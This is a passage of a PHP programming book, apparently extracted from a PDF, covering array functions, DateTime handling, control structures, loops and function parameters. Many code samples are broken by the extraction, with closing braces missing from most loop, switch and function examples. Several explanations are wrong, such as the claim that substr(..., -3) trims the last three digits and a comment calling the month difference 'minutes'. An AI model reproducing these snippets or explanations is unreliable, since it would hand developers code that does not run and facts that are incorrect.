ARRAY_FILTER_USE_KEY

);

Using array_filter gives the additional flexibility of performing an arbitrary test against the key, e.g.
$allowedKeys

could contain regex patterns instead of plain strings. It also more explicitly states the intention of the
code than

array_intersect_key() combined with array_flip().

Section 15.5: Adding element to start of array

Sometimes you want to add an element to the beginning of an array without modifying any of the
current

elements (order) within the array. Whenever this is the case, you can use array_unshift().

array_unshift() prepends passed elements to the front of the array. Note that the list of elements is

prepended as a whole, so that the prepended elements stay in the same order. All numerical array
keys

will be modified to start counting from zero while literal keys won't be touched.

Taken from the PHP documentation for array_unshift().

If you'd like to achieve this, all you need to do is the following:

$myArray = array(1, 2, 3);

array_unshift($myArray, 4);

This will now add 4 as the first element in your array. You can verify this by:

print_r($myArray);

This returns an array in the following order: 4, 1, 2, 3.

GoalKicker.com – PHP Notes for Professionals 97

Since array_unshift forces the array to reset the key-value pairs as the new element let the following
entries have

the keys n+1 it is smarter to create a new array and append the existing array to the newly created
array.
Example:

$myArray = array('apples', 'bananas', 'pears');

$myElement = array('oranges');

$joinedArray = $myElement;

foreach ($myArray as $i) {

$joinedArray[] = $i;

Output ($joinedArray):

Array ( [0] => oranges [1] => apples [2] => bananas [3] => pears )

Eaxmple/Demo

Section 15.6: Exchange values with keys

array_flip function will exchange all keys with its elements.

$colors = array(

'one' => 'red',

'two' => 'blue',

'three' => 'yellow',

);

array_flip($colors); //will output

array(

'red' => 'one',

'blue' => 'two',

'yellow' => 'three'

Section 15.7: Merge two arrays into one array

$a1 = array("red","green");
$a2 = array("blue","yellow");

print_r(array_merge($a1,$a2));

/*

Array ( [0] => red [1] => green [2] => blue [3] => yellow )

*/

Associative array:

$a1=array("a"=>"red","b"=>"green");

$a2=array("c"=>"blue","b"=>"yellow");

print_r(array_merge($a1,$a2));

/*

Array ( [a] => red [b] => yellow [c] => blue )

*/

1. Merges the elements of one or more arrays together so that the values of one are appended to the
end of

GoalKicker.com – PHP Notes for Professionals 98

the previous one. It returns the resulting array.

2. If the input arrays have the same string keys, then the later value for that key will overwrite the
previous one.

If, however, the arrays contain numeric keys, the later value will not overwrite the original value, but
will be

appended.

3. Values in the input array with numeric keys will be renumbered with incrementing keys starting
from zero in

the result array.

GoalKicker.com – PHP Notes for Professionals 99

Chapter 16: Processing Multiple Arrays

Together
Section 16.1: Array intersection

The array_intersect function will return an array of values that exist in all arrays that were passed to
this function.

$array_one = ['one', 'two', 'three'];

$array_two = ['two', 'three', 'four'];

$array_three = ['two', 'three'];

$intersect = array_intersect($array_one, $array_two, $array_three);

// $intersect contains ['two', 'three']

Array keys are preserved. Indexes from the original arrays are not.

array_intersect only check the values of the arrays. array_intersect_assoc function will return
intersection of

arrays with keys.

$array_one = [1 => 'one',2 => 'two',3 => 'three'];

$array_two = [1 => 'one', 2 => 'two', 3 => 'two', 4 => 'three'];

$array_three = [1 => 'one', 2 => 'two'];

$intersect = array_intersect_assoc($array_one, $array_two, $array_three);

// $intersect contains [1 =>'one',2 => 'two']

array_intersect_key function only check the intersection of keys. It will returns keys exist in all arrays.

$array_one = [1 => 'one',2 => 'two',3 => 'three'];

$array_two = [1 => 'one', 2 => 'two', 3 => 'four'];

$array_three = [1 => 'one', 3 => 'five'];

$intersect = array_intersect_key($array_one, $array_two, $array_three);

// $intersect contains [1 =>'one',3 => 'three']

Section 16.2: Merge or concatenate arrays

$fruit1 = ['apples', 'pears'];

$fruit2 = ['bananas', 'oranges'];

$all_of_fruits = array_merge($fruit1, $fruit2);

// now value of $all_of_fruits is [0 => 'apples', 1 => 'pears', 2 => 'bananas', 3 => 'oranges']

Note that array_merge will change numeric indexes, but overwrite string indexes

$fruit1 = ['one' => 'apples', 'two' => 'pears'];

$fruit2 = ['one' => 'bananas', 'two' => 'oranges'];

$all_of_fruits = array_merge($fruit1, $fruit2);

// now value of $all_of_fruits is ['one' => 'bananas', 'two' => 'oranges']

array_merge overwrites the values of the first array with the values of the second array, if it cannot
renumber the

index.

You can use the + operator to merge two arrays in a way that the values of the first array never get
overwritten, but

GoalKicker.com – PHP Notes for Professionals 100

it does not renumber numeric indexes, so you lose values of arrays that have an index that is also used
in the first

array.

$fruit1 = ['one' => 'apples', 'two' => 'pears'];

$fruit2 = ['one' => 'bananas', 'two' => 'oranges'];

$all_of_fruits = $fruit1 + $fruit2;

// now value of $all_of_fruits is ['one' => 'apples', 'two' => 'pears']

$fruit1 = ['apples', 'pears'];

$fruit2 = ['bananas', 'oranges'];

$all_of_fruits = $fruit1 + $fruit2;

// now value of $all_of_fruits is [0 => 'apples', 1 => 'pears']

Section 16.3: Changing a multidimensional array to associative

array

If you have a multidimensional array like this:

[

['foo', 'bar'],

['fizz', 'buzz'],

And you want to change it to an associative array like this:

'foo' => 'bar',

'fizz' => 'buzz',

You can use this code:

$multidimensionalArray = [

['foo', 'bar'],

['fizz', 'buzz'],

];

$associativeArrayKeys = array_column($multidimensionalArray, 0);

$associativeArrayValues = array_column($multidimensionalArray, 1);

$associativeArray = array_combine($associativeArrayKeys, $associativeArrayValues);

Or, you can skip setting $associativeArrayKeys and $associativeArrayValues and use this simple one
liner:

$associativeArray = array_combine(array_column($multidimensionalArray, 0),

array_column($multidimensionalArray, 1));

Section 16.4: Combining two arrays (keys from one, values

from another)

The following example shows how to merge two arrays into one associative array, where the key
values will be the

items of the first array, and the values will be from the second:
$array_one = ['key1', 'key2', 'key3'];

$array_two = ['value1', 'value2', 'value3'];

GoalKicker.com – PHP Notes for Professionals 101

$array_three = array_combine($array_one, $array_two);

var_export($array_three);

/*

array (

'key1' => 'value1',

'key2' => 'value2',

'key3' => 'value3',

*/

GoalKicker.com – PHP Notes for Professionals 102

Chapter 17: Datetime Class

Section 17.1: Create Immutable version of DateTime from

Mutable prior PHP 5.6

To create \DateTimeImmutable in PHP 5.6+ use:

\DateTimeImmutable::createFromMutable($concrete);

Prior PHP 5.6 you can use:

\DateTimeImmutable::createFromFormat(\DateTime::ISO8601, $mutable->format(\
DateTime::ISO8601),

$mutable->getTimezone());

Section 17.2: Add or Subtract Date Intervals

We can use the class DateInterval to add or subtract some interval in a DateTime object.

See the example below, where we are adding an interval of 7 days and printing a message on the
screen:
$now = new DateTime();// empty argument returns the current date

$interval = new DateInterval('P7D');//this objet represents a 7 days interval

$lastDay = $now->add($interval); //this will return a DateTime object

$formatedLastDay = $lastDay->format('Y-m-d');//this method format the DateTime object and returns

a

String

echo "Samara says: Seven Days. You'll be happy on $formatedLastDay.";

This will output (running on Aug 1st, 2016):

Samara says: Seven Days. You'll be happy on 2016-08-08.

We can use the sub method in a similar way to subtract dates

$now->sub($interval);

echo "Samara says: Seven Days. You were happy last on $formatedLastDay.";

This will output (running on Aug 1st, 2016):

Samara says: Seven Days. You were happy last on 2016-07-25.

Section 17.3: getTimestamp

getTimeStemp is a unix representation of a datetime object.

$date = new DateTime();

echo $date->getTimestamp();

this will out put an integer indication the seconds that have elapsed since 00:00:00 UTC, Thursday, 1
January 1970.

GoalKicker.com – PHP Notes for Professionals 103

Section 17.4: setDate

setDate sets the date in a DateTime object.

$date = new DateTime();

$date->setDate(2016, 7, 25);

this example sets the date to be the twenty-fifth of July, 2015, it will produce the following result:
2016-07-25 17:52:15.819442

Section 17.5: Create DateTime from custom format

PHP is able to parse a number of date formats. If you want to parse a non-standard format, or if you
want your

code to explicitly state the format to be used, then you can use the static
DateTime::createFromFormat method:

Object oriented style

$format = "Y,m,d";

$time = "2009,2,26";

$date = DateTime::createFromFormat($format, $time);

Procedural style

$format = "Y,m,d";

$time = "2009,2,26";

$date = date_create_from_format($format, $time);

Section 17.6: Printing DateTimes

PHP 4+ supplies a method, format that converts a DateTime object into a string with a desired format.
According to

PHP Manual, this is the object oriented function:

public string DateTime::format ( string $format )

The function date() takes one parameters - a format, which is a string

Format

The format is a string, and uses single characters to define the format:

Y: four digit representation of the year (eg: 2016)

y: two digit representation of the year (eg: 16)

m: month, as a number (01 to 12)

M: month, as three letters (Jan, Feb, Mar, etc)

j: day of the month, with no leading zeroes (1 to 31)

D: day of the week, as three letters (Mon, Tue, Wed, etc)

h: hour (12-hour format) (01 to 12)

H: hour (24-hour format) (00 to 23)

A: either AM or PM

i: minute, with leading zeroes (00 to 59)

s: second, with leading zeroes (00 to 59)

The complete list can be found here

GoalKicker.com – PHP Notes for Professionals 104

Usage

These characters can be used in various combinations to display times in virtually any format. Here are
some

examples:

$date = new DateTime('2000-05-26T13:30:20'); /* Friday, May 26, 2000 at 1:30:20 PM */

$date->format("H:i");

/* Returns 13:30 */

$date->format("H i s");

/* Returns 13 30 20 */

$date->format("h:i:s A");

/* Returns 01:30:20 PM */

$date->format("j/m/Y");

/* Returns 26/05/2000 */

$date->format("D, M j 'y - h:i A");

/* Returns Fri, May 26 '00 - 01:30 PM */

Procedural

The procedural format is similar:

Object-Oriented
$date->format($format)

Procedural Equivalent

date_format($date, $format)

GoalKicker.com – PHP Notes for Professionals 105

Chapter 18: Working with Dates and Time

Section 18.1: Getting the dierence between two dates / times

The most feasible way is to use, the DateTime class.

An example:

<?php

// Create a date time object, which has the value of ~ two years ago

$twoYearsAgo = new DateTime("2014-01-18 20:05:56");

// Create a date time object, which has the value of ~ now

$now = new DateTime("2016-07-21 02:55:07");

// Calculate the diff

$diff = $now->diff($twoYearsAgo);

// $diff->y contains the difference in years between the two dates

$yearsDiff = $diff->y;

// $diff->m contains the difference in minutes between the two dates

$monthsDiff = $diff->m;

// $diff->d contains the difference in days between the two dates

$daysDiff = $diff->d;

// $diff->h contains the difference in hours between the two dates

$hoursDiff = $diff->h;

// $diff->i contains the difference in minutes between the two dates

$minsDiff = $diff->i;
// $diff->s contains the difference in seconds between the two dates

$secondsDiff = $diff->s;

// Total Days Diff, that is the number of days between the two dates

$totalDaysDiff = $diff->days;

// Dump the diff altogether just to get some details ;)

var_dump($diff);

Also, comparing two dates is much easier, just use the Comparison operators , like:

<?php

// Create a date time object, which has the value of ~ two years ago

$twoYearsAgo = new DateTime("2014-01-18 20:05:56");

// Create a date time object, which has the value of ~ now

$now = new DateTime("2016-07-21 02:55:07");

var_dump($now > $twoYearsAgo); // prints bool(true)

var_dump($twoYearsAgo > $now); // prints bool(false)

var_dump($twoYearsAgo <= $twoYearsAgo); // prints bool(true)

var_dump($now == $now); // prints bool(true)

Section 18.2: Convert a date into another format

The Basics

The simplist way to convert one date format into another is to use strtotime() with date(). strtotime()
will

convert the date into a Unix Timestamp. That Unix Timestamp can then be passed to date() to convert
it to the

new format.

$timestamp = strtotime('2008-07-01T22:35:17.02');

GoalKicker.com – PHP Notes for Professionals 106

$new_date_format = date('Y-m-d H:i:s', $timestamp);

Or as a one-liner:

$new_date_format = date('Y-m-d H:i:s', strtotime('2008-07-01T22:35:17.02'));

Keep in mind that strtotime() requires the date to be in a valid format. Failure to provide a valid
format will result

in strtotime() returning false which will cause your date to be 1969-12-31.

Using DateTime()

As of PHP 5.2, PHP offered the DateTime() class which offers us more powerful tools for working with
dates (and

time). We can rewrite the above code using DateTime() as so:

$date = new DateTime('2008-07-01T22:35:17.02');

$new_date_format = $date->format('Y-m-d H:i:s');

Working with Unix timestamps

date() takes a Unix timestamp as its second parameter and returns a formatted date for you:

$new_date_format = date('Y-m-d H:i:s', '1234567890');

DateTime() works with Unix timestamps by adding an @ before the timestamp:

$date = new DateTime('@1234567890');

$new_date_format = $date->format('Y-m-d H:i:s');

If the timestamp you have is in milliseconds (it may end in 000 and/or the timestamp is thirteen
characters long)

you will need to convert it to seconds before you can can convert it to another format. There's two
ways to do this:

Trim the last three digits off using substr()

Trimming the last three digits can be achieved several ways, but using substr() is the easiest:

$timestamp = substr('1234567899000', -3);

Divide the substr by 1000

You can also convert the timestamp into seconds by dividing by 1000. Because the timestamp is too
large for 32 bit
systems to do math on you will need to use the BCMath library to do the math as strings:

$timestamp = bcdiv('1234567899000', '1000');

To get a Unix Timestamp you can use strtotime() which returns a Unix Timestamp:

$timestamp = strtotime('1973-04-18');

With DateTime() you can use DateTime::getTimestamp()

$date = new DateTime('2008-07-01T22:35:17.02');

$timestamp = $date->getTimestamp();

If you're running PHP 5.2 you can use the U formatting option instead:

GoalKicker.com – PHP Notes for Professionals 107

$date = new DateTime('2008-07-01T22:35:17.02');

$timestamp = $date->format('U');

Working with non-standard and ambiguous date formats

Unfortunately not all dates that a developer has to work with are in a standard format. Fortunately
PHP 5.3

provided us with a solution for that. DateTime::createFromFormat() allows us to tell PHP what format
a date string

is in so it can be successfully parsed into a DateTime object for further manipulation.

$date = DateTime::createFromFormat('F-d-Y h:i A', 'April-18-1973 9:48 AM');

$new_date_format = $date->format('Y-m-d H:i:s');

In PHP 5.4 we gained the ability to do class member access on instantiation has been added which
allows us to turn

our DateTime() code into a one-liner:

$new_date_format = (new DateTime('2008-07-01T22:35:17.02'))->format('Y-m-d H:i:s');

Unfortunately this does not work with DateTime::createFromFormat() yet.

Section 18.3: Parse English date descriptions into a Date

format

Using the strtotime() function combined with date() you can parse different English text descriptions
to dates:

// Gets the current date

echo date("m/d/Y", strtotime("now")), "\n"; // prints the current date

echo date("m/d/Y", strtotime("10 September 2000")), "\n"; // prints September 10, 2000 in the
m/d/Y

format

echo date("m/d/Y", strtotime("-1 day")), "\n"; // prints yesterday's date

echo date("m/d/Y", strtotime("+1 week")), "\n"; // prints the result of the current date + a week

echo date("m/d/Y", strtotime("+1 week 2 days 4 hours 2 seconds")), "\n"; // same as the last

example but with extra days, hours, and seconds added to it

echo date("m/d/Y", strtotime("next Thursday")), "\n"; // prints next Thursday's date

echo date("m/d/Y", strtotime("last Monday")), "\n"; // prints last Monday's date

echo date("m/d/Y", strtotime("First day of next month")), "\n"; // prints date of first day of next

month

echo date("m/d/Y", strtotime("Last day of next month")), "\n"; // prints date of last day of next

month

echo date("m/d/Y", strtotime("First day of last month")), "\n"; // prints date of first day of last

month

echo date("m/d/Y", strtotime("Last day of last month")), "\n"; // prints date of last day of last

month

Section 18.4: Using Predefined Constants for Date Format

We can use Predefined Constants for Date format in date() instead of the conventional date format
strings since

PHP 5.1.0.

Predefined Date Format Constants Available

DATE_ATOM - Atom (2016-07-22T14:50:01+00:00)

DATE_COOKIE - HTTP Cookies (Friday, 22-Jul-16 14:50:01 UTC)

DATE_RSS - RSS (Fri, 22 Jul 2016 14:50:01 +0000)

GoalKicker.com – PHP Notes for Professionals 108

DATE_W3C - World Wide Web Consortium (2016-07-22T14:50:01+00:00)

DATE_ISO8601 - ISO-8601 (2016-07-22T14:50:01+0000)

DATE_RFC822 - RFC 822 (Fri, 22 Jul 16 14:50:01 +0000)

DATE_RFC850 - RFC 850 (Friday, 22-Jul-16 14:50:01 UTC)

DATE_RFC1036 - RFC 1036 (Fri, 22 Jul 16 14:50:01 +0000)

DATE_RFC1123 - RFC 1123 (Fri, 22 Jul 2016 14:50:01 +0000)

DATE_RFC2822 - RFC 2822 (Fri, 22 Jul 2016 14:50:01 +0000)

DATE_RFC3339 - Same as DATE_ATOM (2016-07-22T14:50:01+00:00)

Usage Examples

echo date(DATE_RFC822);

This will output: Fri, 22 Jul 16 14:50:01 +0000

echo date(DATE_ATOM,mktime(0,0,0,8,15,1947));

This will output: 1947-08-15T00:00:00+05:30

GoalKicker.com – PHP Notes for Professionals 109

Chapter 19: Control Structures

Section 19.1: if else

The if statement in the example above allows to execute a code fragment, when the condition is met.
When you

want to execute a code fragment, when the condition is not met you extend the if with an else.

if ($a > $b) {

echo "a is greater than b";

} else {

echo "a is NOT greater than b";

}

PHP Manual - Control Structures - Else

The ternary operator as shorthand syntax for if-else

The ternary operator evaluates something based on a condition being true or not. It is a comparison
operator and

often used to express a simple if-else condition in a shorter form. It allows to quickly test a condition
and often

replaces a multi-line if statement, making your code more compact.

This is the example from above using a ternary expression and variable values: $a=1; $b=2;

echo ($a > $b) ? "a is greater than b" : "a is NOT greater than b";

Outputs: a is NOT greater than b.

Section 19.2: Alternative syntax for control structures

PHP provides an alternative syntax for some control structures: if, while, for, foreach, and switch.

When compared to the normal syntax, the difference is, that the opening brace is replaced by a colon
(:) and the

closing brace is replaced by endif;, endwhile;, endfor;, endforeach;, or endswitch;, respectively. For
individual

examples, see the topic on alternative syntax for control structures.

if ($a == 42):

echo "The answer to life, the universe and everything is 42.";

endif;

Multiple elseif statements using short-syntax:

if ($a == 5):

echo "a equals 5";

elseif ($a == 6):

echo "a equals 6";

else:
echo "a is neither 5 nor 6";

endif;

PHP Manual - Control Structures - Alternative Syntax

Section 19.3: while

while loop iterates through a block of code as long as a specified condition is true.

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$i = 1;

while ($i < 10) {

echo $i;

$i++;

Output:

123456789

For detailed information, see the Loops topic.

Section 19.4: do-while

do-while loop first executes a block of code once, in every case, then iterates through that block of
code as long as

a specified condition is true.

$i = 0;

do {

$i++;

echo $i;

} while ($i < 10);

Output: `12345678910`

For detailed information, see the Loops topic.

Section 19.5: goto

The goto operator allows to jump to another section in the program. It's available since PHP 5.3.

The goto instruction is a goto followed by the desired target label: goto MyLabel;.

The target of the jump is specified by a label followed by a colon: MyLabel:.

This example will print Hello World!:

<?php

goto MyLabel;

echo 'This text will be skipped, because of the jump.';

MyLabel:

echo 'Hello World!';

?>

Section 19.6: declare

declare is used to set an execution directive for a block of code.

The following directives are recognized:

ticks

encoding

strict_types

For instance, set ticks to 1:

GoalKicker.com – PHP Notes for Professionals 111

declare(ticks=1);

To enable strict type mode, the declare statement is used with the strict_types declaration:

declare(strict_types=1);

Section 19.7: include & require

require

require is similar to include, except that it will produce a fatal E_COMPILE_ERROR level error on
failure. When the

require fails, it will halt the script. When the include fails, it will not halt the script and only emit
E_WARNING.

require 'file.php';

PHP Manual - Control Structures - Require

include

The include statement includes and evaluates a file.

./variables.php

$a = 'Hello World!';

./main.php`

include 'variables.php';

echo $a;

// Output: `Hello World!`

Be careful with this approach, since it is considered a code smell, because the included file is altering
amount and

content of the defined variables in the given scope.

You can also include file, which returns a value. This is extremely useful for handling configuration
arrays:

configuration.php

<?php

return [

'dbname' => 'my db',

'user' => 'admin',

'pass' => 'password',

];

main.php

<?php

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$config = include 'configuration.php';

This approach will prevent the included file from polluting your current scope with changed or added
variables.

PHP Manual - Control Structures - Include

include & require can also be used to assign values to a variable when returned something by file.

Example :

include1.php file :

<?php

$a = "This is to be returned";

return $a;

?>

index.php file :

$value = include 'include1.php';

// Here, $value = "This is to be returned"

Section 19.8: return

The return statement returns the program control to the calling function.

When return is called from within a function, the execution of the current function will end.

function returnEndsFunctions()

echo 'This is executed';

return;

echo 'This is not executed.';

When you run returnEndsFunctions(); you'll get the output This is executed;

When return is called from within a function with and argument, the execution of the current function
will end and
the value of the argument will be returned to the calling function.

Section 19.9: for

for loops are typically used when you have a piece of code which you want to repeat a given number
of times.

for ($i = 1; $i < 10; $i++) {

echo $i;

Outputs:

123456789

For detailed information, see the Loops topic.

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Section 19.10: foreach

foreach is a construct, which enables you to iterate over arrays and objects easily.

$array = [1, 2, 3];

foreach ($array as $value) {

echo $value;

Outputs:

123

To use foreach loop with an object, it has to implement Iterator interface.

When you iterate over associative arrays:

$array = ['color'=>'red'];

foreach($array as $key => $value){

echo $key . ': ' . $value;

}
Outputs:

color: red

For detailed information, see the Loops topic.

Section 19.11: if elseif else

elseif

elseif combines if and else. The if statement is extended to execute a different statement in case the
original if

expression is not met. But, the alternative expression is only executed, when the elseif conditional
expression is

met.

The following code displays either "a is bigger than b", "a is equal to b" or "a is smaller than b":

if ($a > $b) {

echo "a is bigger than b";

} elseif ($a == $b) {

echo "a is equal to b";

} else {

echo "a is smaller than b";

Several elseif statements

You can use multiple elseif statements within the same if statement:

if ($a == 1) {

echo "a is One";

} elseif ($a == 2) {

echo "a is Two";

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} elseif ($a == 3) {
echo "a is Three";

} else {

echo "a is not One, not Two nor Three";

Section 19.12: if

The if construct allows for conditional execution of code fragments.

if ($a > $b) {

echo "a is bigger than b";

PHP Manual - Control Structures - If

Section 19.13: switch

The switch structure performs the same function as a series of if statements, but can do the job in
fewer lines of

code. The value to be tested, as defined in the switch statement, is compared for equality with the
values in each of

the case statements until a match is found and the code in that block is executed. If no matching case
statement is

found, the code in the default block is executed, if it exists.

Each block of code in a case or default statement should end with the break statement. This stops the
execution

of the switch structure and continues code execution immediately afterwards. If the break statement
is omitted,

the next case statement's code is executed, even if there is no match. This can cause unexpected code
execution if

the break statement is forgotten, but can also be useful where multiple case statements need to share
the same

code.

switch ($colour) {
case "red":

echo "the colour is red";

break;

case "green":

case "blue":

echo "the colour is green or blue";

break;

case "yellow":

echo "the colour is yellow";

// note missing break, the next block will also be executed

case "black":

echo "the colour is black";

break;

default:

echo "the colour is something else";

break;

In addition to testing fixed values, the construct can also be coerced to test dynamic statements by
providing a

boolean value to the switch statement and any expression to the case statement. Keep in mind the
first matching

value is used, so the following code will output "more than 100":

$i = 1048;

switch (true) {

case ($i > 0):

echo "more than 0";

break;

GoalKicker.com – PHP Notes for Professionals 115

case ($i > 100):

echo "more than 100";

break;

case ($i > 1000):

echo "more than 1000";

break;

For possible issues with loose typing while using the switch construct, see Switch Surprises

GoalKicker.com – PHP Notes for Professionals 116

Chapter 20: Loops

Loops are a fundamental aspect of programming. They allow programmers to create code that repeats
for some

given number of repetitions, or iterations. The number of iterations can be explicit (6 iterations, for
example), or

continue until some condition is met ('until Hell freezes over').

This topic covers the different types of loops, their associated control statements, and their potential
applications in

PHP.

Section 20.1: continue

The continue keyword halts the current iteration of a loop but does not terminate the loop.

Just like the break statement the continue statement is situated inside the loop body. When executed,
the

continue statement causes execution to immediately jump to the loop conditional.

In the following example loop prints out a message based on the values in an array, but skips a
specified value.
$list = ['apple', 'banana', 'cherry'];

foreach ($list as $value) {

if ($value == 'banana') {

continue;

echo "I love to eat {$value} pie.".PHP_EOL;

The expected output is:

I love to eat apple pie.

I love to eat cherry pie.

The continue statement may also be used to immediately continue execution to an outer level of a
loop by

specifying the number of loop levels to jump. For example, consider data such as

Fruit Color Cost

Apple Red 1

Banana Yellow 7

Cherry Red 2

Grape Green 4

In order to only make pies from fruit which cost less than 5

$data = [

[ "Fruit" => "Apple", "Color" => "Red", "Cost" => 1 ],

[ "Fruit" => "Banana", "Color" => "Yellow", "Cost" => 7 ],

[ "Fruit" => "Cherry", "Color" => "Red", "Cost" => 2 ],

[ "Fruit" => "Grape", "Color" => "Green", "Cost" => 4 ]

];

foreach($data as $fruit) {
foreach($fruit as $key => $value) {

if ($key == "Cost" && $value >= 5) {

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continue 2;

/* make a pie */

When the continue 2 statement is executed, execution immediately jumps back to $data as $fruit
continuing

the outer loop and skipping all other code (including the conditional in the inner loop.

Section 20.2: break

The break keyword immediately terminates the current loop.

Similar to the continue statement, a break halts execution of a loop. Unlike a continue statement,
however, break

causes the immediate termination of the loop and does not execute the conditional statement again.

$i = 5;

while(true) {

echo 120/$i.PHP_EOL;

$i -= 1;

if ($i == 0) {

break;

This code will produce

24
30

40

60

120

but will not execute the case where $i is 0, which would result in a fatal error due to division by 0.

The break statement may also be used to break out of several levels of loops. Such behavior is very
useful when

executing nested loops. For example, to copy an array of strings into an output string, removing any #
symbols,

until the output string is exactly 160 characters

$output = "";

$inputs = array(

"#soblessed #throwbackthursday",

"happy tuesday",

"#nofilter",

/* more inputs */

);

foreach($inputs as $input) {

for($i = 0; $i < strlen($input); $i += 1) {

if ($input[$i] == '#') continue;

$output .= $input[$i];

if (strlen($output) == 160) break 2;

$output .= ' ';

The break 2 command immediately terminates execution of both the inner and outer loops.
GoalKicker.com – PHP Notes for Professionals 118

Section 20.3: foreach

The foreach statement is used to loop through arrays.

For each iteration the value of the current array element is assigned to $value variable and the array
pointer is

moved by one and in the next iteration next element will be processed.

The following example displays the items in the array assigned.

$list = ['apple', 'banana', 'cherry'];

foreach ($list as $value) {

echo "I love to eat {$value}. ";

The expected output is:

I love to eat apple. I love to eat banana. I love to eat cherry.

You can also access the key / index of a value using foreach:

foreach ($list as $key => $value) {

echo $key . ":" . $value . " ";

//Outputs - 0:apple 1:banana 2:cherry

By default $value is a copy of the value in $list, so changes made inside the loop will not be reflected
in $list

afterwards.

foreach ($list as $value) {

$value = $value . " pie";

echo $list[0]; // Outputs "apple"

To modify the array within the foreach loop, use the & operator to assign $value by reference. It's
important to
unset the variable afterwards so that reusing $value elsewhere doesn't overwrite the array.

foreach ($list as &$value) { // Or foreach ($list as $key => &$value) {

$value = $value . " pie";

unset($value);

echo $list[0]; // Outputs "apple pie"

You can also modify the array items within the foreach loop by referencing the array key of the current
item.

foreach ($list as $key => $value) {

$list[$key] = $value . " pie";

echo $list[0]; // Outputs "apple pie"

Section 20.4: do...while

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The do...while statement will execute a block of code at least once - it then will repeat the loop as long

as a condition is true.

The following example will increment the value of $i at least once, and it will continue incrementing
the variable $i

as long as it has a value of less than 25;

$i = 0;

do {

$i++;

} while($i < 25);

echo 'The final value of i is: ', $i;

The expected output is:

The final value of i is: 25

Section 20.5: for

The for statement is used when you know how many times you want to execute a statement or a block

of statements.

The initializer is used to set the start value for the counter of the number of loop iterations. A variable
may be

declared here for this purpose and it is traditional to name it $i.

The following example iterates 10 times and displays numbers from 0 to 9.

for ($i = 0; $i <= 9; $i++) {

echo $i, ',';

# Example 2

for ($i = 0; ; $i++) {

if ($i > 9) {

break;

echo $i, ',';

# Example 3

$i = 0;

for (; ; ) {

if ($i > 9) {

break;

echo $i, ',';

$i++;

}
# Example 4

for ($i = 0, $j = 0; $i <= 9; $j += $i, print $i. ',', $i++);

The expected output is:

0,1,2,3,4,5,6,7,8,9,

GoalKicker.com – PHP Notes for Professionals 120

Section 20.6: while

The while statement will execute a block of code if and as long as a test expression is true.

If the test expression is true then the code block will be executed. After the code has executed the test
expression

will again be evaluated and the loop will continue until the test expression is found to be false.

The following example iterates till the sum reaches 100 before terminating.

$i = true;

$sum = 0;

while ($i) {

if ($sum === 100) {

$i = false;

} else {

$sum += 10;

echo 'The sum is: ', $sum;

The expected output is:

The sum is: 100

GoalKicker.com – PHP Notes for Professionals 121

Chapter 21: Functions

Section 21.1: Variable-length argument lists

Version ≥ 5.6

PHP 5.6 introduced variable-length argument lists (a.k.a. varargs, variadic arguments), using the ...
token before

the argument name to indicate that the parameter is variadic, i.e. it is an array including all supplied
parameters

from that one onward.

function variadic_func($nonVariadic, ...$variadic) {

echo json_encode($variadic);

variadic_func(1, 2, 3, 4); // prints [2,3,4]

Type names can be added in front of the ...:

function foo(Bar ...$bars) {}

The & reference operator can be added before the ..., but after the type name (if any). Consider this
example:

class Foo{}

function a(Foo &...$foos){

$i = 0;

foreach($a as &$foo){ // note the &

$foo = $i++;

$a = new Foo;

$c = new Foo;

$b =& $c;

a($a, $b);

var_dump($a, $b, $c);

Output:
int(0)

int(1)

int(1)

On the other hand, an array (or Traversable) of arguments can be unpacked to be passed to a function
in the form

of an argument list:

var_dump(...hash_algos());

Output:

string(3) "md2"

string(3) "md4"

string(3) "md5"

...

Compare with this snippet without using ...:

GoalKicker.com – PHP Notes for Professionals 122

var_dump(hash_algos());

Output:

array(46) {

[0]=>

string(3) "md2"

[1]=>

string(3) "md4"

...

Therefore, redirect functions for variadic functions can now be easily made, for example:

public function formatQuery($query, ...$args){

return sprintf($query, ...array_map([$mysqli, "real_escape_string"], $args));

}

Apart from arrays, Traversables, such as Iterator (especially many of its subclasses from SPL) can also
be used.

For example:

$iterator = new LimitIterator(new ArrayIterator([0, 1, 2, 3, 4, 5, 6]), 2, 3);

echo bin2hex(pack("c*", ...$it)); // Output: 020304

If the iterator iterates infinitely, for example:

$iterator = new InfiniteIterator(new ArrayIterator([0, 1, 2, 3, 4]));

var_dump(...$iterator);

Different versions of PHP behave differently:

From PHP 7.0.0 up to PHP 7.1.0 (beta 1):

A segmentation fault will occur

The PHP process will exit with code 139

In PHP 5.6:

A fatal error of memory exhaustion ("Allowed memory size of %d bytes exhausted") will be shown.

The PHP process will exit with code 255

Note: HHVM (v3.10 - v3.12) does not support unpacking Traversables. A warning message "Only

containers may be unpacked" will be shown in this attempt.

Section 21.2: Optional Parameters

Functions can have optional parameters, for example:

function hello($name, $style = 'Formal')

switch ($style) {

case 'Formal':

print "Good Day $name";

break;
case 'Informal':

print "Hi $name";

GoalKicker.com – PHP Notes for Professionals 123

break;

case 'Australian':

print "G'day $name";

break;

default:

print "Hello $name";

break;

hello('Alice');

// Good Day Alice

hello('Alice', 'Australian');

// G'day Alice

Section 21.3: Passing Arguments by Reference

Function arguments can be passed "By Reference", allowing the function to modify the variable used
outside the

function:

function pluralize(&$word)

if (substr($word, -1) == 'y') {

$word = substr($word, 0, -1) . 'ies';

} else {

$word .= 's';
}

$word = 'Bannana';

pluralize($word);

print $word;

// Bannanas

Object arguments are always passed by reference:

function addOneDay($date)

$date->modify('+1 day');

$date = new DateTime('2014-02-28');

addOneDay($date);

print $date->format('Y-m-d');

// 2014-03-01

To avoid implicit passing an object by reference, you should clone the object.

Passing by reference can also be used as an alternative way to return parameters. For example, the

socket_getpeername function:

bool socket_getpeername ( resource $socket , string &$address [, int &$port ] )

This method actually aims to return the address and port of the peer, but since there are two values to
return, it

chooses to use reference parameters instead. It can be called like this:

GoalKicker.com – PHP Notes for Professionals 124

if(!socket_getpeername($socket, $address, $port)) {

throw new RuntimeException(socket_last_error());

}
echo "Peer: $address:$port\n";

The variables $address and $port do not need to be defined before. They will:

1. be defined as null first,

2. then passed to the function with the predefined null value

3. then modified in the function

4. end up defined as the address and port in the calling context.

Section 21.4: Basic Function Usage

A basic function is defined and executed like this:

function hello($name)

print "Hello $name";

hello("Alice");

Section 21.5: Function Scope

Variables inside functions is inside a local scope like this

$number = 5

function foo(){

$number = 10

return $number

foo(); //Will print 10 because text defined inside function is a local variable

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Chapter 22: Functional Programming

PHP's functional programming relies on functions. Functions in PHP provide organized, reusable code
to perform a

